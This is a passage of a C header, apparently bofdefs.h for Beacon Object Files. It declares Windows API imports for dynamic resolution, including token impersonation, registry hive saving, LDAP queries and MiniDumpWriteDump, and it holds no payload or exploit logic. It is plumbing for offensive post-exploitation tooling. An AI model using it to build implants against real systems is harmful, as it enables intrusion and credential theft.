hKey,DWORD dwIndex,LPSTR lpName,LPDWORD lpcchName,LPDWORD lpReserved,LPSTR lpClass,LPDWORD lpcchClass,PFILETIME lpftLastWriteTime); -WINADVAPI LONG WINAPI ADVAPI32$RegDeleteValueA(HKEY hKey,LPCSTR lpValueName); -WINADVAPI LONG WINAPI ADVAPI32$RegQueryValueExW(HKEY hKey,LPCWSTR lpValueName,LPDWORD lpReserved,LPDWORD lpType,LPBYTE lpData,LPDWORD lpcbData); -WINADVAPI LONG WINAPI ADVAPI32$RegSaveKeyExA(HKEY hKey,LPCSTR lpFile,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD Flags); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetFileSecurityW (LPCWSTR lpFileName, SECURITY_INFORMATION RequestedInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD nLength, LPDWORD lpnLengthNeeded); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorOwner (PSECURITY_DESCRIPTOR pSecurityDescriptor, PSID *pOwner, LPBOOL lpbOwnerDefaulted); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, LPBOOL lpbDaclPresent, PACL *pDacl, LPBOOL lpbDaclDefaulted); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetAclInformation (PACL pAcl, LPVOID pAclInformation, DWORD nAclInformationLength, ACL_INFORMATION_CLASS dwAclInformationClass); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetAce (PACL pAcl, DWORD dwAceIndex, LPVOID *pAce); -WINADVAPI WINBOOL WINAPI ADVAPI32$LookupAccountSidW (LPCWSTR lpSystemName, PSID Sid, LPWSTR Name, LPDWORD cchName, LPWSTR ReferencedDomainName, LPDWORD cchReferencedDomainName, PSID_NAME_USE peUse); -WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSidToStringSidW(PSID Sid,LPWSTR *StringSid); -WINADVAPI VOID WINAPI ADVAPI32$MapGenericMask (PDWORD AccessMask, PGENERIC_MAPPING GenericMapping); -WINADVAPI WINBOOL WINAPI ADVAPI32$OpenProcessToken (HANDLE ProcessHandle, DWORD DesiredAccess, PHANDLE TokenHandle); -WINADVAPI WINBOOL WINAPI ADVAPI32$GetTokenInformation (HANDLE TokenHandle, TOKEN_INFORMATION_CLASS TokenInformationClass, LPVOID TokenInformation, DWORD TokenInformationLength, PDWORD ReturnLength); -WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserA(LPCSTR lpszUsername, LPCSTR lpszDomain, LPCSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); -WINADVAPI WINBOOL WINAPI ADVAPI32$LogonUserW(LPCWSTR lpszUsername, LPCWSTR lpszDomain, LPCWSTR lpszPassword, DWORD dwLogonType, DWORD dwLogonProvider, PHANDLE phToken); -WINADVAPI WINBOOL WINAPI ADVAPI32$ImpersonateLoggedOnUser(HANDLE hToken); -WINADVAPI WINBOOL WINAPI ADVAPI32$RevertToSelf(VOID); -WINADVAPI WINBOOL WINAPI ADVAPI32$DuplicateTokenEx(HANDLE hExistingToken, DWORD dwDesiredAccess, LPSECURITY_ATTRIBUTES lpTokenAttributes, SECURITY_IMPERSONATION_LEVEL ImpersonationLevel, TOKEN_TYPE TokenType, PHANDLE phNewToken); -WINADVAPI WINBOOL WINAPI ADVAPI32$CreateProcessAsUserW(HANDLE hToken, LPCWSTR lpApplicationName, LPWSTR lpCommandLine, LPSECURITY_ATTRIBUTES lpProcessAttributes, LPSECURITY_ATTRIBUTES lpThreadAttributes, WINBOOL bInheritHandles, DWORD dwCreationFlags, LPVOID lpEnvironment, LPCWSTR lpCurrentDirectory, LPSTARTUPINFOW lpStartupInfo, LPPROCESS_INFORMATION lpProcessInformation); -WINADVAPI WINBOOL WINAPI ADVAPI32$InitializeSecurityDescriptor (PSECURITY_DESCRIPTOR pSecurityDescriptor, DWORD dwRevision); -WINADVAPI WINBOOL WINAPI ADVAPI32$SetSecurityDescriptorDacl (PSECURITY_DESCRIPTOR pSecurityDescriptor, WINBOOL bDaclPresent, PACL pDacl, WINBOOL bDaclDefaulted); -WINADVAPI WINBOOL WINAPI ADVAPI32$ConvertSecurityDescriptorToStringSecurityDescriptorW(PSECURITY_DESCRIPTOR SecurityDescriptor,DWORD RequestedStringSDRevision,SECURITY_INFORMATION SecurityInformation,LPWSTR *StringSecurityDescriptor,PULONG StringSecurityDescriptorLen); -WINADVAPI WINBOOL WINAPI ADVAPI32$StartServiceA(SC_HANDLE hService,DWORD dwNumServiceArgs,LPCSTR *lpServiceArgVectors); -WINADVAPI WINBOOL WINAPI ADVAPI32$ControlService(SC_HANDLE hService,DWORD dwControl,LPSERVICE_STATUS lpServiceStatus); -WINADVAPI WINBOOL WINAPI ADVAPI32$EnumDependentServicesA(SC_HANDLE hService,DWORD dwServiceState,LPENUM_SERVICE_STATUSA lpServices,DWORD cbBufSize,LPDWORD pcbBytesNeeded,LPDWORD lpServicesReturned); -WINADVAPI LSTATUS WINAPI ADVAPI32$RegQueryInfoKeyA(HKEY hKey, LPSTR lpClass, LPDWORD lpcchClass, LPDWORD lpReserved, LPDWORD lpcSubKeys, LPDWORD lpcbMaxSubKeyLen, LPDWORD lpcbMaxClassLen, LPDWORD lpcValues, LPDWORD lpcbMaxValueNameLen, LPDWORD lpcbMaxValueLen, LPDWORD lpcbSecurityDescriptor, PFILETIME lpftLastWriteTime); -WINBASEAPI LONG WINAPI ADVAPI32$RegGetKeySecurity(HKEY hKey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor, LPDWORD lpcbSecurityDescriptor); -WINBASEAPI LONG WINAPI ADVAPI32$RegSetKeySecurity(HKEY hKey, SECURITY_INFORMATION SecurityInformation, PSECURITY_DESCRIPTOR pSecurityDescriptor); -WINBASEAPI DWORD WINAPI ADVAPI32$SetEntriesInAclA(ULONG cCountOfExplicitEntries, PEXPLICIT_ACCESS_A pListOfExplicitEntries, PACL OldAcl, PACL *NewAcl); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptAcquireContextA(HCRYPTPROV *phProv, LPCSTR szContainer, LPCSTR szProvider, DWORD dwProvType, DWORD dwFlags); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptCreateHash(HCRYPTPROV hProv, ALG_ID Algid, HCRYPTKEY hKey, DWORD dwFlags, HCRYPTHASH *phHash); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptReleaseContext(HCRYPTPROV hProv, DWORD dwFlags); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptHashData(HCRYPTHASH hHash, const BYTE *pbData, DWORD dwDataLen, DWORD dwFlags); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptGetHashParam(HCRYPTHASH hHash, DWORD dwParam, BYTE *pbData, DWORD *pdwDataLen, DWORD dwFlags); -WINADVAPI WINBOOL WINAPI ADVAPI32$CryptDestroyHash( HCRYPTHASH hHash); - -//NTDLL -WINBASEAPI NTSTATUS NTAPI NTDLL$NtCreateFile(PHANDLE FileHandle,ACCESS_MASK DesiredAccess,POBJECT_ATTRIBUTES ObjectAttributes,PIO_STATUS_BLOCK IoStatusBlock,PLARGE_INTEGER AllocationSize,ULONG FileAttributes,ULONG ShareAccess,ULONG CreateDisposition,ULONG CreateOptions,PVOID EaBuffer,ULONG EaLength); -WINBASEAPI NTSTATUS NTAPI NTDLL$NtClose(HANDLE Handle); -WINBASEAPI NTSTATUS NTAPI NTDLL$NtFsControlFile(HANDLE FileHandle,HANDLE Event,PIO_APC_ROUTINE ApcRoutine,PVOID ApcContext,PIO_STATUS_BLOCK IoStatusBlock,ULONG IoControlCode,PVOID InputBuffer,ULONG InputBufferLength,PVOID OutputBuffer,ULONG OutputBufferLength); - -//IMAGEHLP -WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageEnumerateCertificates(HANDLE FileHandle,WORD TypeFilter,PDWORD CertificateCount,PDWORD Indices,DWORD IndexCount); -WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateHeader(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificateheader); -WINBASEAPI WINBOOL IMAGEAPI IMAGEHLP$ImageGetCertificateData(HANDLE FileHandle,DWORD CertificateIndex,LPWIN_CERTIFICATE Certificate,PDWORD RequiredLength); - -//crypt32 -WINIMPM WINBOOL WINAPI CRYPT32$CryptVerifyMessageSignature (PCRYPT_VERIFY_MESSAGE_PARA pVerifyPara, DWORD dwSignerIndex, const BYTE *pbSignedBlob, DWORD cbSignedBlob, BYTE *pbDecoded, DWORD *pcbDecoded, PCCERT_CONTEXT *ppSignerCert); -WINIMPM DWORD WINAPI CRYPT32$CertGetNameStringW (PCCERT_CONTEXT pCertContext, DWORD dwType, DWORD dwFlags, void *pvTypePara, LPWSTR pszNameString, DWORD cchNameString); -WINIMPM PCCERT_CONTEXT WINAPI CRYPT32$CertCreateCertificateContext (DWORD dwCertEncodingType, const BYTE *pbCertEncoded, DWORD cbCertEncoded); -WINIMPM WINBOOL WINAPI CRYPT32$CertFreeCertificateContext (PCCERT_CONTEXT pCertContext); -WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateContextProperty (PCCERT_CONTEXT pCertContext, DWORD dwPropId, void *pvData, DWORD *pcbData); -WINIMPM WINBOOL WINAPI CRYPT32$CertGetCertificateChain (HCERTCHAINENGINE hChainEngine, PCCERT_CONTEXT pCertContext, LPFILETIME pTime, HCERTSTORE hAdditionalStore, PCERT_CHAIN_PARA pChainPara, DWORD dwFlags, LPVOID pvReserved, PCCERT_CHAIN_CONTEXT *ppChainContext); -WINIMPM VOID WINAPI CRYPT32$CertFreeCertificateChain (PCCERT_CHAIN_CONTEXT pChainContext); -WINIMPM PCCRYPT_OID_INFO WINAPI CRYPT32$CryptFindOIDInfo (DWORD dwKeyType, void *pvKey, DWORD dwGroupId); - -//bcrypt -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptOpenAlgorithmProvider(BCRYPT_ALG_HANDLE *phAlgorithm, LPCWSTR pszAlgId, LPCWSTR pszImplementation, DWORD dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptCloseAlgorithmProvider(BCRYPT_ALG_HANDLE hAlgorithm, DWORD dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptSetProperty(BCRYPT_HANDLE hObject, LPCWSTR pszProperty, PUCHAR pbInput, ULONG cbInput, DWORD dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptGenerateSymmetricKey(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_KEY_HANDLE *phKey, PUCHAR pbKeyObject, ULONG cbKeyObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDestroyKey(BCRYPT_KEY_HANDLE hKey); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDecrypt(BCRYPT_KEY_HANDLE hKey, PUCHAR pbInput, ULONG cbInput, VOID *pPaddingInfo, PUCHAR pbIV, ULONG cbIV, PUCHAR pbOutput, ULONG cbOutput, ULONG *pcbResult, ULONG dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptCreateHash(BCRYPT_ALG_HANDLE hAlgorithm, BCRYPT_HASH_HANDLE *phHash, PUCHAR pbHashObject, ULONG cbHashObject, PUCHAR pbSecret, ULONG cbSecret, ULONG dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptDestroyHash(BCRYPT_HASH_HANDLE hHash); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptHashData(BCRYPT_HASH_HANDLE hHash, PUCHAR pbInput, ULONG cbInput, ULONG dwFlags); -DECLSPEC_IMPORT NTSTATUS WINAPI BCRYPT$BCryptFinishHash(BCRYPT_HASH_HANDLE hHash, PUCHAR pbOutput, ULONG cbOutput, ULONG dwFlags); - -//WS2_32 -// defining this here to avoid including ws2tcpip.h which results in include order warnings when bofs include windows.h before bofdefs.h -typedef struct addrinfo { - int ai_flags; - int ai_family; - int ai_socktype; - int ai_protocol; - size_t ai_addrlen; - char *ai_canonname; - struct sockaddr *ai_addr; - struct addrinfo *ai_next; -} ADDRINFOA,*PADDRINFOA; - -//WS2_32 -DECLSPEC_IMPORT int __stdcall WS2_32$connect(SOCKET sock, const struct sockaddr* name, int namelen); -DECLSPEC_IMPORT int __stdcall WS2_32$closesocket(SOCKET sock); -DECLSPEC_IMPORT void __stdcall WS2_32$freeaddrinfo(struct addrinfo* ai); -DECLSPEC_IMPORT int __stdcall WS2_32$getaddrinfo(char* host, char* port, const struct addrinfo* hints, struct addrinfo** result); -DECLSPEC_IMPORT u_long __stdcall WS2_32$htonl(u_long hostlong); -DECLSPEC_IMPORT u_short __stdcall WS2_32$htons(u_short hostshort); -DECLSPEC_IMPORT char * __stdcall WS2_32$inet_ntoa(struct in_addr in); -DECLSPEC_IMPORT int __stdcall WS2_32$ioctlsocket(SOCKET sock, long cmd, u_long* arg); -DECLSPEC_IMPORT int __stdcall WS2_32$select(int nfds, fd_set* readfds, fd_set* writefds, fd_set* exceptfds, const struct timeval* timeout); -DECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol); -DECLSPEC_IMPORT int __stdcall WS2_32$__WSAFDIsSet(SOCKET sock, struct fd_set* fdset); -DECLSPEC_IMPORT int __stdcall WS2_32$WSAGetLastError(); -DECLSPEC_IMPORT int __stdcall WS2_32$WSAStartup(WORD wVersionRequested, LPWSADATA lpWSAData); -DECLSPEC_IMPORT int __stdcall WS2_32$WSACleanup(void); -DECLSPEC_IMPORT int __stdcall WS2_32$sendto(SOCKET s, const char* buf, int len, int flags, const struct sockaddr* to, int tolen); -DECLSPEC_IMPORT int __stdcall WS2_32$recvfrom(SOCKET s, char* buf, int len, int flags, struct sockaddr* from, int* fromlen); -DECLSPEC_IMPORT int __stdcall WS2_32$send(SOCKET s, const char* buf, int len, int flags); -DECLSPEC_IMPORT int __stdcall WS2_32$recv(SOCKET s, char* buf, int len, int flags); -DECLSPEC_IMPORT int __stdcall WS2_32$setsockopt(SOCKET s, int level, int optname, const char* optval, int optlen); -DECLSPEC_IMPORT LPCWSTR WINAPI WS2_32$InetNtopW(INT Family, LPCVOID pAddr, LPWSTR pStringBuf, size_t StringBufSIze); -DECLSPEC_IMPORT INT WINAPI WS2_32$inet_pton(INT Family, LPCSTR pStringBuf, PVOID pAddr); - -//dnsapi -DECLSPEC_IMPORT VOID WINAPI DNSAPI$DnsFree(PVOID pData,DNS_FREE_TYPE FreeType); -DECLSPEC_IMPORT int WINAPI DNSAPI$DnsGetCacheDataTable(PVOID data); - -//OLE32 -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeEx (LPVOID pvReserved, DWORD dwCoInit); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoUninitialize (void); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoInitializeSecurity (PSECURITY_DESCRIPTOR pSecDesc, LONG cAuthSvc, SOLE_AUTHENTICATION_SERVICE *asAuthSvc, void *pReserved1, DWORD dwAuthnLevel, DWORD dwImpLevel, void *pAuthList, DWORD dwCapabilities, void *pReserved3); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoCreateInstance (REFCLSID rclsid, LPUNKNOWN pUnkOuter, DWORD dwClsContext, REFIID riid, LPVOID *ppv); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CLSIDFromString (LPCOLESTR lpsz, LPCLSID pclsid); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$IIDFromString (LPCOLESTR lpsz, LPIID lpiid); -DECLSPEC_IMPORT int WINAPI OLE32$StringFromGUID2 (REFGUID rguid, LPOLESTR lpsz, int cchMax); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoSetProxyBlanket(IUnknown* pProxy, DWORD dwAuthnSvc, DWORD dwAuthzSvc, OLECHAR* pServerPrincName, DWORD dwAuthnLevel, DWORD dwImpLevel, RPC_AUTH_IDENTITY_HANDLE pAuthInfo, DWORD dwCapabilities); -DECLSPEC_IMPORT LPVOID WINAPI OLE32$CoTaskMemAlloc(SIZE_T cb); -DECLSPEC_IMPORT void WINAPI OLE32$CoTaskMemFree(LPVOID pv); -DECLSPEC_IMPORT HRESULT WINAPI OLE32$CoGetObject(LPCWSTR pszName, void *pBindOptions, REFIID riid, void **ppv); - -//OLEAUT32 -DECLSPEC_IMPORT BSTR WINAPI OLEAUT32$SysAllocString(const OLECHAR *); -DECLSPEC_IMPORT INT WINAPI OLEAUT32$SysReAllocString(BSTR *, const OLECHAR *); -DECLSPEC_IMPORT void WINAPI OLEAUT32$SysFreeString(BSTR); -DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SysStringLen(BSTR); -DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantInit(VARIANTARG *pvarg); -DECLSPEC_IMPORT void WINAPI OLEAUT32$VariantClear(VARIANTARG *pvarg); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SysAddRefString(BSTR); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$VariantChangeType(VARIANTARG *pvargDest, VARIANTARG *pvarSrc, USHORT wFlags, VARTYPE vt); -DECLSPEC_IMPORT void WINAPI OLEAUT32$VarFormatDateTime(LPVARIANT pvarIn,int iNamedFormat,ULONG dwFlags,BSTR *pbstrOut); -DECLSPEC_IMPORT void WINAPI OLEAUT32$SafeArrayDestroy(SAFEARRAY *psa); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayLock(SAFEARRAY *psa); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetLBound(SAFEARRAY *psa, UINT nDim, LONG *plLbound); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetUBound(SAFEARRAY *psa, UINT nDim, LONG *plUbound); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayGetElement(SAFEARRAY *psa, LONG *rgIndices, void *pv); -DECLSPEC_IMPORT UINT WINAPI OLEAUT32$SafeArrayGetElemsize(SAFEARRAY *psa); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayAccessData(SAFEARRAY *psa,void HUGEP **ppvData); -DECLSPEC_IMPORT HRESULT WINAPI OLEAUT32$SafeArrayUnaccessData(SAFEARRAY *psa); - - - - - - - - -//CERTCLI -/* -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumFirstCA(IN LPCWSTR wszScope, IN DWORD dwFlags, OUT LPVOID * phCAInfo); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCA(IN LPVOID hPrevCA, OUT LPVOID * phCAInfo); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCA(IN LPVOID hCA); -DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCAs(IN LPVOID hCAInfo); -DECLSPEC_IMPORT LPCWSTR WINAPI CERTCLI$CAGetDN(IN LPVOID hCAInfo); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAProperty(IN LPVOID hCAInfo, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCAProperty(IN LPVOID hCAInfo, IN PZPWSTR awszPropertyValue); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAFlags(IN LPVOID hCAInfo, OUT DWORD *pdwFlags); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCACertificate(IN LPVOID hCAInfo, OUT PCCERT_CONTEXT *ppCert); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCAExpiration(IN LPVOID hCAInfo, OUT DWORD * pdwExpiration, OUT DWORD * pdwUnits); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCASecurity(IN LPVOID hCAInfo, OUT PSECURITY_DESCRIPTOR * ppSD); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetAccessRights(IN LPVOID hCAInfo, IN DWORD dwContext, OUT DWORD *pdwAccessRights); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypesForCA(IN LPVOID hCAInfo, IN DWORD dwFlags, OUT LPVOID * phCertType); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumCertTypes(IN DWORD dwFlags, OUT LPVOID * phCertType); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAEnumNextCertType(IN LPVOID hPrevCertType, OUT LPVOID * phCertType); -DECLSPEC_IMPORT DWORD WINAPI CERTCLI$CACountCertTypes(IN LPVOID hCertType); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACloseCertType(IN LPVOID hCertType); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeProperty(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT PZPWSTR *pawszPropertyValue); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypePropertyEx(IN LPVOID hCertType, IN LPCWSTR wszPropertyName, OUT LPVOID *pPropertyValue); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeProperty(IN LPVOID hCertType, IN PZPWSTR awszPropertyValue); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExtensionsEx(IN LPVOID hCertType, IN DWORD dwFlags, IN LPVOID pParam, OUT PCERT_EXTENSIONS * ppCertExtensions); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAFreeCertTypeExtensions(IN LPVOID hCertType, IN PCERT_EXTENSIONS pCertExtensions); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeFlagsEx(IN LPVOID hCertType, IN DWORD dwOption, OUT DWORD * pdwFlags); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeExpiration(IN LPVOID hCertType, OUT OPTIONAL FILETIME * pftExpiration, OUT OPTIONAL FILETIME * pftOverlap); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CACertTypeGetSecurity(IN LPVOID hCertType, OUT PSECURITY_DESCRIPTOR * ppSD); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$CAGetCertTypeAccessRights(IN LPVOID hCertType, IN DWORD dwContext, OUT DWORD *pdwAccessRights); -DECLSPEC_IMPORT HRESULT WINAPI CERTCLI$caTranslateFileTimePeriodToPeriodUnits(IN FILETIME const *pftGMT, IN BOOL Flags, OUT DWORD *pcPeriodUnits, OUT LPVOID*prgPeriodUnits); -*/ - - - - - - - - - - - -//dbghelp -DECLSPEC_IMPORT WINBOOL WINAPI DBGHELP$MiniDumpWriteDump(HANDLE hProcess,DWORD ProcessId,HANDLE hFile,MINIDUMP_TYPE DumpType,CONST PMINIDUMP_EXCEPTION_INFORMATION ExceptionParam,CONST PMINIDUMP_USER_STREAM_INFORMATION UserStreamParam,CONST PMINIDUMP_CALLBACK_INFORMATION CallbackParam); - -//WLDAP32 -WINLDAPAPI LDAP* LDAPAPI WLDAP32$ldap_init(PSTR, ULONG); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_bind_s(LDAP *ld,const PSTR dn,const PCHAR cred,ULONG method); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_search_s(LDAP *ld,PSTR base,ULONG scope,PSTR filter,PZPSTR attrs,ULONG attrsonly,PLDAPMessage *res); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_entries(LDAP*,LDAPMessage*); -WINLDAPAPI struct berval **LDAPAPI WLDAP32$ldap_get_values_lenA (LDAP *ExternalHandle,LDAPMessage *Message,const PCHAR attr); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free_len(struct berval **vals); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_set_optionA(LDAP *ld,int option,const void *invalue); -WINLDAPAPI PLDAPSearch LDAPAPI WLDAP32$ldap_search_init_pageA(PLDAP ExternalHandle,const PCHAR DistinguishedName,ULONG ScopeOfSearch,const PCHAR SearchFilter,PCHAR AttributeList[],ULONG AttributesOnly,PLDAPControlA *ServerControls,PLDAPControlA *ClientControls,ULONG PageTimeLimit,ULONG TotalSizeLimit,PLDAPSortKeyA *SortKeys); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_paged_count(PLDAP ExternalHandle,PLDAPSearch SearchBlock,ULONG *TotalCount,PLDAPMessage Results); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_get_next_page_s(PLDAP ExternalHandle,PLDAPSearch SearchHandle,struct l_timeval *timeout,ULONG PageSize,ULONG *TotalCount,LDAPMessage **Results); - -WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_first_entry(LDAP *ld,LDAPMessage *res); -WINLDAPAPI LDAPMessage* LDAPAPI WLDAP32$ldap_next_entry(LDAP*,LDAPMessage*); -WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_first_attribute(LDAP *ld,LDAPMessage *entry,BerElement **ptr); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_count_values(PCHAR); -WINLDAPAPI PCHAR * LDAPAPI WLDAP32$ldap_get_values(LDAP *ld,LDAPMessage *entry,const PSTR attr); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_value_free(PCHAR *); -WINLDAPAPI PCHAR LDAPAPI WLDAP32$ldap_next_attribute(LDAP *ld,LDAPMessage *entry,BerElement *ptr); -WINLDAPAPI VOID LDAPAPI WLDAP32$ber_free(BerElement *pBerElement,INT fbuf); -WINLDAPAPI VOID LDAPAPI WLDAP32$ldap_memfree(PCHAR); - -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind(LDAP*); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_unbind_s(LDAP*); -WINLDAPAPI ULONG LDAPAPI WLDAP32$ldap_msgfree(LDAPMessage*); - -//RPCRT4 -RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$UuidToStringA(UUID *Uuid,RPC_CSTR *StringUuid); -RPCRTAPI RPC_STATUS RPC_ENTRY RPCRT4$RpcStringFreeA(RPC_CSTR *String); - -//PSAPI -DECLSPEC_IMPORT WINBOOL WINAPI PSAPI$EnumProcessModulesEx(HANDLE hProcess, HMODULE *lphModule, DWORD cb, LPDWORD lpcbNeeded, DWORD dwFilterFlag); -DECLSPEC_IMPORT DWORD WINAPI PSAPI$GetModuleFileNameExA(HANDLE hProcess, HMODULE hModule, LPSTR lpFilename, DWORD nSize); - -//VERSION -DECLSPEC_IMPORT DWORD WINAPI VERSION$GetFileVersionInfoSizeA(LPCSTR lptstrFilenamea ,LPDWORD lpdwHandle); -DECLSPEC_IMPORT WINBOOL WINAPI VERSION$GetFileVersionInfoA(LPCSTR lptstrFilename, DWORD dwHandle, DWORD dwLen, LPVOID lpData); -DECLSPEC_IMPORT WINBOOL WINAPI VERSION$VerQueryValueA(LPCVOID pBlock, LPCSTR lpSubBlock, LPVOID *lplpBuffer, PUINT puLen); - - - - -#else - - -#define intAlloc(size) KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) -#define intRealloc(ptr, size) (ptr) ? KERNEL32$HeapReAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, ptr, size) : KERNEL32$HeapAlloc(KERNEL32$GetProcessHeap(), HEAP_ZERO_MEMORY, size) -#define intFree(addr) KERNEL32$HeapFree(KERNEL32$GetProcessHeap(), 0, addr) -#define intZeroMemory(addr,size) MSVCRT$memset((addr),0,size) - -#define KERNEL32$VirtualAlloc VirtualAlloc -#define KERNEL32$VirtualFree VirtualFree -#define KERNEL32$LocalAlloc LocalAlloc -#define KERNEL32$LocalFree LocalFree -#define KERNEL32$HeapAlloc HeapAlloc -#define KERNEL32$HeapReAlloc HeapReAlloc -#define KERNEL32$GetProcessHeap GetProcessHeap -#define KERNEL32$HeapFree HeapFree -#define Kernel32$FormatMessageA FormatMessageA -#define Kernel32$WideCharToMultiByte WideCharToMultiByte -#define KERNEL32$FileTimeToLocalFileTime FileTimeToLocalFileTime -#define KERNEL32$FileTimeToSystemTime FileTimeToSystemTime -#define KERNEL32$GetDateFormatW GetDateFormatW -#define KERNEL32$GetSystemTimeAsFileTime GetSystemTimeAsFileTime -#define KERNEL32$GetLocalTime GetLocalTime -#define KERNEL32$SystemTimeToFileTime SystemTimeToFileTime -#define KERNEL32$SystemTimeToTzSpecificLocalTime SystemTimeToTzSpecificLocalTime -#define KERNEL32$GlobalMemoryStatusEx GlobalMemoryStatusEx -#define KERNEL32$GetDiskFreeSpaceExA GetDiskFreeSpaceExA -#define KERNEL32$GetCurrentProcess GetCurrentProcess -#define KERNEL32$GetCurrentProcessId GetCurrentProcessId -#define KERNEL32$GetLastError GetLastError -#define KERNEL32$CloseHandle CloseHandle -#define KERNEL32$CreateThread CreateThread -#define KERNEL32$GetTickCount GetTickCount -#define KERNEL32$GetTickCount64 GetTickCount64 -#define KERNEL32$CreateFiber CreateFiber -#define KERNEL32$ConvertThreadToFiber ConvertThreadToFiber -#define KERNEL32$ConvertFiberToThread ConvertFiberToThread -#define KERNEL32$DeleteFiber DeleteFiber -#define KERNEL32$SwitchToFiber SwitchToFiber -#define KERNEL32$WaitForSingleObject WaitForSingleObject -#define KERNEL32$Sleep Sleep -#define KERNEL32$DeleteFileW DeleteFileW -#define KERNEL32$CreateFileW CreateFileW -#define 